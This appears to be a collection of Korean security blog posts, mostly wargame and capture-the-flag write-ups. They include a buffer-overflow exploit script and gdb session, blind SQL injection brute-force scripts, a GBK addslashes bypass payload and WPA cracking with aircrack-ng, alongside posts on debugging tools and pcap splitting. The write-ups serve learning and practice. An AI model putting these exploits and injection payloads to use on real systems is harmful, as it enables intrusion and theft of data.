shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’
shell.c:6:2: warning: no newline at end of file
root@ubuntu:~# 

shell 프로그램도 완성되었으니 이제 이전에 작성한 스크립트에 해당 코드를 넣어 공격을 해보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


#!/usr/bin/python
import os, re
p = os.popen('./lotto 1 2 3 4 5 6', 'r', 512)
data = p.readlines()

tmp = re.findall('\d+', data[2])
number = ' '.join(tmp)

# `python -c "print 'AA' + '\x13\x88\x04\x08'*43 + '\x20\x54\xef\xb7'"`" ./shell; done
payload = './lotto ' + number + ' "' + 'AA' + '\x13\x88\x04\x08'*43 + '\x20\x54\xef\xb7' + '"' + ' ./shell'
os.system(payload)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


root@ubuntu:~# while true; do ./ex.py; done
This is lotto program!! Write 6 numbers.

 >> Lotto number is 4 6 36 7 38 13 
Input number is 4 6 36 7 38 13 

Congratulation!!
Segmentation fault
This is lotto program!! Write 6 numbers.

 >> Lotto number is 4 6 36 7 38 13 
Input number is 4 6 36 7 38 13 

Congratulation!!
Segmentation fault
Input number is 20 31 12 15 9 39 

Congratulation!!
Segmentation fault
This is lotto program!! Write 6 numbers.

 >> Lotto number is 20 31 12 15 9 39 
Input number is 20 31 12 15 9 39 

Congratulation!!
Segmentation fault
This is lotto program!! Write 6 numbers.

 >> Lotto number is 20 31 12 15 9 39 
Input number is 20 31 12 15 9 39 

Congratulation!!
Segmentation fault
This is lotto program!! Write 6 numbers.

 >> Lotto number is 20 31 12 15 9 39 
Input number is 20 31 12 15 9 39 

Congratulation!!
# 

오버플로우를 이용하여 함수의 흐름 변경 문제

Sat, 16 Jul 2011 18:40:52 +0000

문제 코드는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


; Attributes: bp-based frame

public main
main proc near

s= byte ptr -8Ch
var_C= dword ptr -0Ch
var_8= dword ptr -8

lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 0A4h
mov [ebp+var_8], offset boo
lea eax, [ebp+s]
mov [esp], eax ; s
call _gets
lea eax, [ebp+s]
mov [esp+4], eax
mov dword ptr [esp], offset aS ; "%s"
call _printf
mov eax, [ebp+var_8]
call eax
mov [ebp+var_C], eax
mov eax, 0
add esp, 0A4h
pop ecx
pop ebp
lea esp, [ecx-4]
retn
main endp

취약점은 s 변수의 크기가 140 Byte 이므로 140 Byte 이상 인자를 주면 일단 오버플로우는 발생한다. 다만 이번 문제에서는 숨겨진 foo() 함수를 실행하는 것이 관건이다.

디버깅을 해보면 0x080485C1 주소가 스택에 고정적으로 들어가 있다. 이부분을 변경하여 foo() 함수로 가도록 변경시켜야 하는데 foo() 함수의 주소는 0x080484F4 이다. 여기서 초기 몇 바이트는 건너뛰어도 상관없으므로 0x080485C1 주소를 마지막 C1 만 오버플로우로 덮어써버리면 우리가 원하는 함수로 이동시킬 수 있다.

그럼 디버깅을 해보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74


[root@ByJJoon study]# gdb chal 
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x080485da <main+0>: lea 0x4(%esp),%ecx
0x080485de <main+4>: and $0xfffffff0,%esp
0x080485e1 <main+7>: pushl -0x4(%ecx)
0x080485e4 <main+10>: push %ebp
0x080485e5 <main+11>: mov %esp,%ebp
0x080485e7 <main+13>: push %ecx
0x080485e8 <main+14>: sub $0xa4,%esp
0x080485ee <main+20>: movl $0x80485c1,-0x8(%ebp)
0x080485f5 <main+27>: lea -0x8c(%ebp),%eax
0x080485fb <main+33>: mov %eax,(%esp)
0x080485fe <main+36>: call 0x8048398 <gets@plt>
0x08048603 <main+41>: lea -0x8c(%ebp),%eax
0x08048609 <main+47>: mov %eax,0x4(%esp)
0x0804860d <main+51>: movl $0x8048730,(%esp)
0x08048614 <main+58>: call 0x80483d8 <printf@plt>
0x08048619 <main+63>: mov -0x8(%ebp),%eax
0x0804861c <main+66>: call *%eax
0x0804861e <main+68>: mov %eax,-0xc(%ebp)
0x08048621 <main+71>: mov $0x0,%eax
0x08048626 <main+76>: add $0xa4,%esp
0x0804862c <main+82>: pop %ecx
0x0804862d <main+83>: pop %ebp
0x0804862e <main+84>: lea -0x4(%ecx),%esp
0x08048631 <main+87>: ret 
End of assembler dump.
(gdb) b *main+66
Breakpoint 1 at 0x804861c
(gdb) r
Starting program: /home/byjjoon/study/chal 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Breakpoint 1, 0x0804861c in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx $esp
0xbfb3a150: 0x08048730 0xbfb3a16c 0x00000000 0x00000018
0xbfb3a160: 0x00000000 0x00000028 0x00000030 0x41414141
0xbfb3a170: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a180: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a190: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1c0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) 
0xbfb3a1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfb3a1e0: 0x41414141 0x41414141 0x41414141 0x00414141
0xbfb3a1f0: 0x080485c1 0xbfb3a210 0xbfb3a268 0x009095d6
0xbfb3a200: 0x08048650 0x08048420 0xbfb3a268 0x009095d6
0xbfb3a210: 0x00000001 0xbfb3a294 0xbfb3a29c 0x008f0810
0xbfb3a220: 0x00000000 0x00000001 0x00000001 0x00000000
0xbfb3a230: 0x00a57ff4 0x00000000 0x08048420 0xbfb3a268
0xbfb3a240: 0xe1b2ad48 0xa7ddba36 0x00000000 0x00000000
(gdb) x/32wx 0x080485c1
0x80485c1 <boo>: 0x83e58955 0x04c708ec 0x04872924 0xfe05e808
0x80485d1 <boo+16>: 0x02b8ffff 0xc9000000 0x244c8dc3 0xf0e48304
0x80485e1 <main+7>: 0x55fc71ff 0x8151e589 0x0000a4ec 0xf845c700
0x80485f1 <main+23>: 0x080485c1 0xff74858d 0x0489ffff 0xfd95e824
0x8048601 <main+39>: 0x858dffff 0xffffff74 0x04244489 0x302404c7
0x8048611 <main+55>: 0xe8080487 0xfffffdbf 0xfff8458b 0xf44589d0
0x8048621 <main+71>: 0x000000b8 0xa4c48100 0x59000000 0xfc618d5d
0x8048631 <main+87>: 0x909090c3 0x90909090 0x90909090 0x55909090

A를 131개 넣고 확인하면 0x080485c1 주소가 있다. 해당 주소는 boo()의 주소이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/byjjoon/study/chal 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804861c in main ()
(gdb) x/32wx $esp
0xbfcb0fb0: 0x08048730 0xbfcb0fcc 0x00000000 0x00000018
0xbfcb0fc0: 0x00000000 0x00000028 0x00000030 0x41414141
0xbfcb0fd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb0fe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb0ff0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1000: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1010: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1020: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) 
0xbfcb1030: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1040: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfcb1050: 0x08048500 0xbfcb1070 0xbfcb10c8 0x009095d6
0xbfcb1060: 0x08048650 0x08048420 0xbfcb10c8 0x009095d6
0xbfcb1070: 0x00000001 0xbfcb10f4 0xbfcb10fc 0x008f0810
0xbfcb1080: 0x00000000 0x00000001 0x00000001 0x00000000
0xbfcb1090: 0x00a57ff4 0x00000000 0x08048420 0xbfcb10c8
0xbfcb10a0: 0x7a61c52e 0xcd6a1250 0x00000000 0x00000000
(gdb) x/32wx 0x08048500
0x8048500 <foo+12>: 0xf1e80804 0xc7fffffe 0x00042444 0xc7000000
0x8048510 <foo+28>: 0x00002404 0xcde80000 0xb8fffffe 0x080498e0
0x8048520 <foo+44>: 0x000100ba 0x24548900 0x2444c708 0x00000004
0x8048530 <foo+60>: 0x24048900 0xfffe6fe8 0x2444c7ff 0x00000004
0x8048540 <foo+76>: 0x2404c700 0x0804871a 0xfffe2be8 0xf84589ff
0x8048550 <foo+92>: 0xfff87d83 0x04c71875 0x04872324 0xfe96e808
0x8048560 <foo+108>: 0x04c7ffff 0x00000124 0xfe9ae800 0x44c7ffff
0x8048570 <foo+124>: 0x01000824 0x44c70000 0x98e00424 0x458b0804
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?E天
test

Program received signal SIGSEGV, Segmentation fault.
0x080485c0 in foo ()
(gdb) q
The program is running. Exit anyway? (y or n) y
[root@ByJJoon study]# cat passwd 
test
[root@ByJJoon study]# 

A를 132개 넣으면 0x080485c1 주소에서 마지막 한바이트를 00으로 덮어서 0x08048500 이 되고 해당 주소는 foo+12 위치이다. foo() 함수는 "passwd" 파일을 읽는 기능을 수행한다.

Debugging with gdbserver, IDA

Sat, 16 Jul 2011 04:06:11 +0000

1

gdbserver host:port file

그리고 IDA에서 역시 해당 파일을 열고 아래와 같은 순서로 설정한다.

[Debugger] - [Select debugger] 에서 "Remote GDB debugger" 선택
[Debugger] - [Process options] 에서 Hostname과 Port를 위에서 설정한 값으로 설정
그리고 실행!

Debugging with gdbserver gdbserver is a GDB stub implemented as a separate program. It runs a program to be debugged or attaches to a process and then waits for commands. IDA's remote GDB debugger module has been tested with gdbserver available with Cygwin and Linux.

To debug a specific program from the start, run the following command:

1

gdbserver localhost:23946 <program>

and then choose Debugger,Attach, in IDA Pro.

To debug a running process:

1

gdbserver --multi localhost:23947

then choose Debugger,Attach, in IDA and enter the PID of the process to attach to.

Another method of debugging a running process is:

1

gdbserver localhost:23947 --attach <PID>

then choose Debugger,Attach, in IDA Pro.

To start a program from inside IDA, first launch the debugger server:

1

gdbserver --multi localhost:23947

Then use Debugger,Start process or Debugger,Run in IDA Pro.

NOTE The --multi option is only available in GDB 6.8 or higher.

Table Names

Wed, 13 Jul 2011 02:22:00 +0000

이번 문제는 Blind SQL Injection 문제이다.

로그인 시 ID 입력 폼에 "test' or 1=1 #" 라고 입력하면 로그인이 정상적으로 됨을 알 수 있다. 즉, SQL Injection이 가능한 것이다. 따라서 이를 이용해 INFORMATION_SCHEMA.TABLES 테이블의 TABLE_SCHEMA 및 TABLE_NAME 칼럼을 통해 데이터베이스명과 테이블명을 확인할 수 있다.

단, 이름 확인 시 약간의 팁이 필요한데 쿼리 전송 시 올바른 응답이면 "Welcome" 이라는 문자가 나오는 점을 착안해 아래와 같은 쿼리를 통해 Ascii 문자를 하나씩 매칭하여 확인할 수 있다. 아래는 ID 폼에 입력할 각 쿼리문들이다.

1
2
3
4
5


데이터베이스명 길이 확인하는 쿼리
1' or length((SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1))=대입값 #

데이터베이스명을 한문자씩 Ascii 값으로 확인하는 쿼리
1' or Ascii(Substr((SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),대입값,1))=대입값 #

추가로 위 쿼리에서 설명한 "대입값" 부분에 대해 Brute Force를 해야 한다. 속도가 느릴 수 있으므로 범위를 최대한 좁히기 위해 아래와 같이 할 수 있다.

우선 범위는 아스키코드 범위인 33(!) ~ 125 (}) 으로 지정할 수 있다. 그리고 아스키코드 확인 시 >= 기호를 사용하여 10씩 더해가며 확인하다 매치가 안되는 순간이 오면 그때부터 숫자를 하나씩 줄여가며 대입을 하면 좀 더 빠르게 서치가 가능할 것이다.

위에서 설명한 방법으로 코드를 작성하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


#!/usr/bin/env python
# -*- coding: utf-8 -*-
import httplib, urllib

# 2011. 7. 13 / ByJJoon
# http://www.wechall.net/challenge/table_names/index.php 풀이
# gizmore_tableu61_usertableus4

output = ''
conn = httplib.HTTPConnection('www.wechall.net')

# 데이터베이스명 길이 알아내는 부분
for length in range(1, 30):
 # 1' or length((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1))=1 #
 injection = "1' or length((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1))=" + str(length) + ' #'
 params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})

 conn.request('GET', '/challenge/table_names/challenge.php?' + params)
 response = conn.getresponse()
 data = response.read()
 if data.find('Welcome') != -1:
 print 'Length : ' + str(length)
 break

# 데이터데이스명 알아내는 부분
for pos in range(length+1):
 # Ascii range : !(33) - }(125)
 for x in range(33, 126, 10):
 flag = 0
 # 1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),1,1))>=1 #
 injection = "1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1)," + str(pos) + ',1))>=' + str(x) + ' #'
 params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
 conn.request('GET', '/challenge/table_names/challenge.php?' + params)

 response = conn.getresponse()
 #print response.status, response.reason
 data = response.read()
 #print data

 if data.find('Welcome') == -1:
 for z in range(x-10, x+1):
 # 1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),1,1))=1 #
 injection = "1' or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1)," + str(pos) + ',1))=' + str(z) + ' #'
 params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
 conn.request('GET', '/challenge/table_names/challenge.php?' + params)

 response = conn.getresponse()
 data = response.read()
 if data.find('Welcome') != -1:
 print chr(z)
 output += chr(z)
 flag = 1
 break

 if flag == 1:
 break

conn.close()
print output

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


#!/usr/bin/env python
# -*- coding: utf-8 -*-
import httplib, urllib

# 2011. 7. 13 / ByJJoon
# http://www.wechall.net/challenge/table_names/index.php 풀이
# gizmore_tableu61_usertableus4

output = ''
conn = httplib.HTTPConnection('www.wechall.net')

# 테이블명 길이 알아내는 부분
for length in range(1, 30):
 # 1' or length((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1))=1 #
 injection = '''1' or length((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1))=''' + str(length) + ' #'
 params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})

 conn.request('GET', '/challenge/table_names/challenge.php?' + params)
 response = conn.getresponse()
 data = response.read()
 if data.find('Welcome') != -1:
 print 'Length : ' + str(length)
 break

# 테이블명 알아내는 부분
for pos in range(length+1):
 # Ascii range : !(33) - }(125)
 for x in range(33, 126, 10):
 flag = 0
 # 1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),1,1))>=1 #
 injection = '''1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),''' + str(pos) + ',1))>=' + str(x) + ' #'
 params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
 conn.request('GET', '/challenge/table_names/challenge.php?' + params)

 response = conn.getresponse()
 #print response.status, response.reason
 data = response.read()
 #print data

 if data.find('Welcome') == -1:
 for z in range(x-10, x+1):
 # 1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),1,1))=1 #
 injection = '''1' or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA="gizmore_tableu61" limit 1,1),''' + str(pos) + ',1))=' + str(z) + ' #'
 params = urllib.urlencode({'username':injection, 'password':'test', 'login':'login'})
 conn.request('GET', '/challenge/table_names/challenge.php?' + params)

 response = conn.getresponse()
 data = response.read()
 if data.find('Welcome') != -1:
 print chr(z)
 output += chr(z)
 flag = 1
 break

 if flag == 1:
 break

conn.close()
print output

Addslashes

Tue, 12 Jul 2011 08:09:27 +0000

싱글쿼터 입력 시 addslashes() 함수로 필터할 경우 앞에 문자가 와서 SQL Injection이 예방이 된다. 이번 문제는 이러한 경우 어떻게 우회를 할 수 있는지를 묻는 문제이다.

이번 문제의 풀이 방법은 GBK 인코딩을 이용한 addslashes() 우회기법을 이용하는 것인데 %BF 이후에 싱글쿼터를 입력하게 되면 addslashes() 함수에 의한 필터링을 우회할 수 있다.

따라서 아래와 같이 username 변수에 "test%BF%27 union select 0x41646d696e%20%23" 를 입력하면 된다.

[문제의 SQL문]

1

SELECT username FROM users WHERE username='$username' AND password='$password'

[우회한 SQL문]

1

SELECT username FROM users WHERE username='test%BF' union select 0x41646d696e #' AND password='$password'

따라서 # 이후로는 주석처리 되어 결과로 Admin (0x41646d696e) 이 리턴된다. 이번 문제에서 기억해야 할 내용은 아래와 같다.

addslashes() 함수로 싱글쿼터 등을 필터링 할 경우 어떻게 우회할 수 있는가?
싱글쿼터나 더블쿼터를 사용할 수 없을 때 Select 문으로 Admin을 어떻게 표현할 수 있는가?

암호화 된 PE 파일 디코딩 및 CVE-2011-2110 취약점 관련 URL 분석 페이지

Mon, 11 Jul 2011 11:45:08 +0000

최근 웹사이트에서 전파되는 악성코드 중 대부분이 Adobe Flash Player 취약점 (CVE-2011-2110) 을 이용합니다.
대부분 "main.swf?info=인자" 형태로 구성되어 있는데 이때 인자를 디코딩 해주는 페이지를 기존 암호화된 PE 파일을 복호화 해주는 페이지에 추가하였습니다.

왼쪽 XOR DECODER 링크에서 확인하실 수 있으며 기능은 아래와 같습니다.

1) 암호화된 PE 파일 복호화 루틴
Stage 1 - ADD&XOR, XOR 로 PE 파일이 암호화 된 경우
Stage 2 - XOR&Zlib 로 PE 파일이 암호화 된 경우
Stage 3 - PE파일이 아닌 쉘코드인 경우 다운로드 URL 탐색

2) "main.swf?info=인자" 의 경우 인자만으로 악성코드 URL 확인

사이즈가 큰 pcap 파일 분할 방법

Tue, 05 Jul 2011 15:08:08 +0000

Wireshark에 포함된 editcap 을 이용하는 방법

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


C:\Program Files\Wireshark>editcap.exe
Editcap 1.6.0 (SVN Rev 37592 from /trunk-1.6)
Edit and/or translate the format of capture files.
See http://www.wireshark.org for more information.

Usage: editcap [options] ... <infile> <outfile> [ <packet#>[-<packet#>] ... ]

<infile> and <outfile> must both be present.
A single packet or a range of packets can be selected.

Packet selection:
 -r keep the selected packets; default is to delete them.
 -A <start time> only output packets whose timestamp is after (or equal
 to) the given time (format as YYYY-MM-DD hh:mm:ss).
 -B <stop time> only output packets whose timestamp is before the
 given time (format as YYYY-MM-DD hh:mm:ss).

Duplicate packet removal:
 -d remove packet if duplicate (window == 5).
 -D <dup window> remove packet if duplicate; configurable <dup window>
 Valid <dup window> values are 0 to 1000000.
 NOTE: A <dup window> of 0 with -v (verbose option) is
 useful to print MD5 hashes.
 -w <dup time window> remove packet if duplicate packet is found EQUAL TO OR
 LESS THAN <dup time window> prior to current packet.
 A <dup time window> is specified in relative seconds
 (e.g. 0.000001).

 NOTE: The use of the 'Duplicate packet removal' options with
 other editcap options except -v may not always work as expected.
 Specifically the -r, -t or -S options will very likely NOT have the
 desired effect if combined with the -d, -D or -w.

Packet manipulation:
 -s <snaplen> truncate each packet to max. <snaplen> bytes of data.
 -C <choplen> chop each packet by <choplen> bytes. Positive values
 chop at the packet beginning, negative values at the
 packet end.
 -t <time adjustment> adjust the timestamp of each packet;
 <time adjustment> is in relative seconds (e.g. -0.5).
 -S <strict adjustment> adjust timestamp of packets if necessary to insure
 strict chronological increasing order. The <strict
 adjustment> is specified in relative seconds with
 values of 0 or 0.000001 being the most reasonable.
 A negative adjustment value will modify timestamps so
 that each packet's delta time is the absolute value
 of the adjustment specified. A value of -0 will set
 all packets to the timestamp of the first packet.
 -E <error probability> set the probability (between 0.0 and 1.0 incl.)
 that a particular packet byte will be randomly changed.

Output File(s):
 -c <packets per file> split the packet output to different files
 based on uniform packet counts
 with a maximum of <packets per file> each.
 -i <seconds per file> split the packet output to different files
 based on uniform time intervals
 with a maximum of <seconds per file> each.
 -F <capture type> set the output file type; default is libpcap.
 an empty "-F" option will list the file types.
 -T <encap type> set the output file encapsulation type;
 default is the same as the input file.
 an empty "-T" option will list the encapsulation types.

Miscellaneous:
 -h display this help and exit.
 -v verbose output.
 If -v is used with any of the 'Duplicate Packet
 Removal' options (-d, -D or -w) then Packet lengths
 and MD5 hashes are printed to standard-out.

예제1) input.cap 파일에서 처음부터 100 개까지의 패킷을 output.cap 에 저장

1

# editcap -r input.cap output.cap 1-100

예제2) input.pcap 에서 output.pcap 파일에 10000 개의 패킷을 저장

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# editcap -c 10000 input.pcap output.pcap
# ls
input.pcap output.pcap-00011 output.pcap-00024 output.pcap-00037
t.pcap output.pcap-00012 output.pcap-00025 output.pcap-00038
output.pcap-00000 output.pcap-00013 output.pcap-00026 output.pcap-00039
output.pcap-00001 output.pcap-00014 output.pcap-00027 output.pcap-00040
output.pcap-00002 output.pcap-00015 output.pcap-00028 output.pcap-00041
output.pcap-00003 output.pcap-00016 output.pcap-00029 output.pcap-00042
output.pcap-00004 output.pcap-00017 output.pcap-00030 output.pcap-00043
output.pcap-00005 output.pcap-00018 output.pcap-00031 output.pcap-00044
output.pcap-00006 output.pcap-00019 output.pcap-00032 output.pcap-00045
output.pcap-00007 output.pcap-00020 output.pcap-00033 output.pcap-00046
output.pcap-00008 output.pcap-00021 output.pcap-00034 output.pcap-00047
output.pcap-00009 output.pcap-00022 output.pcap-00035 output.pcap-00048
output.pcap-00010 output.pcap-00023 output.pcap-00036

만약 input.pcap 이 10,000 개 이상인 경우는 10,000 개 단위로 output.pcap 뒤에 숫자가 붙어 만들어 진다.

예제3) -i 옵션을 통해 초 단위로 패킷을 나눈다.

1

# editcap -i 60 input.pcap output.pcap

예제4) 특정 시간범위를 지정하여 패킷 추출

1

# editcap -v -A "2010-01-15 14:00:00" -B "2010-01-15 15:00:00" input.cap output.cap

-v 는 verbose 로 좀더 자세한 정보를 출력해 준다. -A 와 -B 로 시작과 끝을 지정한다.

예제5) 여러개의 범위를 지정하여 패킷 추출 하기

1

# editcap input.cap output.cap 1-100 500-600

1-100 번 까지 그리고 500-600 번 까지의 패킷을 output.cap 에 저장한다.

예제6) -r 옵션의 차이를 정확히 이해하자

1

# editcap input.cap output.cap 1 10 200-300 500-700

1, 10, 200-300, 500-700 을 제외하고 output.cap 에 저장한다.

1

# editcap -r input.cap output.cap 1 10 200-300 500-700

1, 10, 200-300, 500-700 만 선택하여 output.cap 에 저장한다.

출처 : http://www.packetinside.com/2010/01/%EB%B6%84%EC%84%9D%ED%95%A0-%ED%8C%A8%ED%82%B7-%EB%8D%B0%EC%9D%B4%ED%84%B0-%ED%81%AC%EA%B8%B0%EA%B0%80-%ED%81%B0-%EA%B2%BD%EC%9A%B0%EB%8A%94-%EC%9D%B4%EB%A0%87%EA%B2%8C-%ED%95%98%EC%9E%90.html

SplitCap 툴을 이용하는 방법 SplitCap : http://splitcap.sourceforge.net/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


D:\Security Tools\Network Tools\pcap Analysis\SplitCap_1-6>SplitCap.exe
Usage: SplitCap [OPTIONS]...

OPTIONS:
-r <input_file> : Set the pcap file to read from
-o <output_directory> : Manually specify output directory
-d : Delete previous output data
-p <nr_parallel_sessions> : Set the number of parallel sessions to keep in
 memory (default = 10000). More sessions might be needed to split pcap
 files from busy links such as an Internet backbone link, this will however
 require more memory
-b <file_buffer_bytes> : Set the number of bytes to buffer for each
 session/output file (default = 10000). Larger buffers will speed up the
 process due to fewer disk write operations, but will occupy more memory.
-s <GROUP> : Split traffic and group packets to pcap files based on <GROUP>
 Possible values for <GROUP> are:
 flow : Each flow, i.e. unidirectional traffic for a 5-tuple,
 is grouped
 host : Traffic grouped to one file per host. Most packets will
 end up in two files.
 hostpair : Traffic grouped based on host-pairs communicating
 nosplit : Do not split traffic. Only create ONE output pcap.
 (default) session : Packets for each session (bi-directional flow) are
 grouped
-ip <IP address to filter on>
-port <port number to filter on>
-y <FILETYPE> : Output file type for extracted data. Possible values
 for <FILETYPE> are:
 L7 : Only store application layer data
 (default) pcap : Store complete pcap frames

Example 1: SplitCap -r dumpfile.pcap
Example 2: SplitCap -r dumpfile.pcap -o session_directory
Example 3: SplitCap -r dumpfile.pcap -s hostpair
Example 4: SplitCap -r dumpfile.pcap -s flow -y L7
Example 5: SplitCap -r dumpfile.pcap -ip 1.2.3.4 -port 80 -port 443 -s nosplit

제8회 해킹방어대회 우승!

Tue, 05 Jul 2011 14:21:15 +0000

지난번에 있었던 예선을 1등으로 통과하고 오늘 본선이 있었습니다. https://jjoon.net/2011/06/25/제8회-해킹방어대회-본선진출/

해킹방어대회는 작년에 이어 두번째 본선이라 시작할땐 작년보다 긴장은 덜되었지만 막상 문제풀이가 시작되고 문제를 풀어 공격코드를 작성 후 다른 팀들을 공격할때는 긴장이 엄청 되더군요.....

마지막에 겨우 역전하여 우승을 했습니다! 오늘은 정말 최고의 하루인거 같네요.

A Black Hats Tale

Sat, 02 Jul 2011 11:46:10 +0000

첫 문제는 주어진 pcap 파일을 이용해 WPA를 크랙하는 문제이다. BackTrack을 이용하여 아래와 같이 풀이가 가능하다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


root@bt:~# aircrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst wpa_psk.cap 
Opening wpa_psk.cap
Read 17 packets.

 # BSSID ESSID Encryption

 1 00:11:2F:DE:23:3F Z WPA (1 handshake)

Choosing first network as target.

Opening wpa_psk.cap
Reading packets, please wait...

 Aircrack-ng 1.1 r1899

 [00:00:00] 8 keys tested (400.14 k/s)

 KEY FOUND! [ jennifer ]

 Master Key : E6 5E 00 48 40 1F 4E 2C AF C3 C6 CA 3E 90 63 33 
 08 52 54 4C 5B 81 47 5D 5B E8 87 05 4F 38 E8 F4 

 Transient Key : 8E F7 9C 65 6C 6E 46 3B 1F 1F 3B FA FC C0 99 8B 
 E1 AA 9E C6 35 5B F0 F2 76 D9 14 F6 2B 0B 69 2F 
 43 75 D1 71 0F B5 90 94 9A 0B E4 71 A5 EB 5F F8 
 25 E6 E1 7F 74 05 D2 27 35 C7 43 CF 78 A4 B5 13 

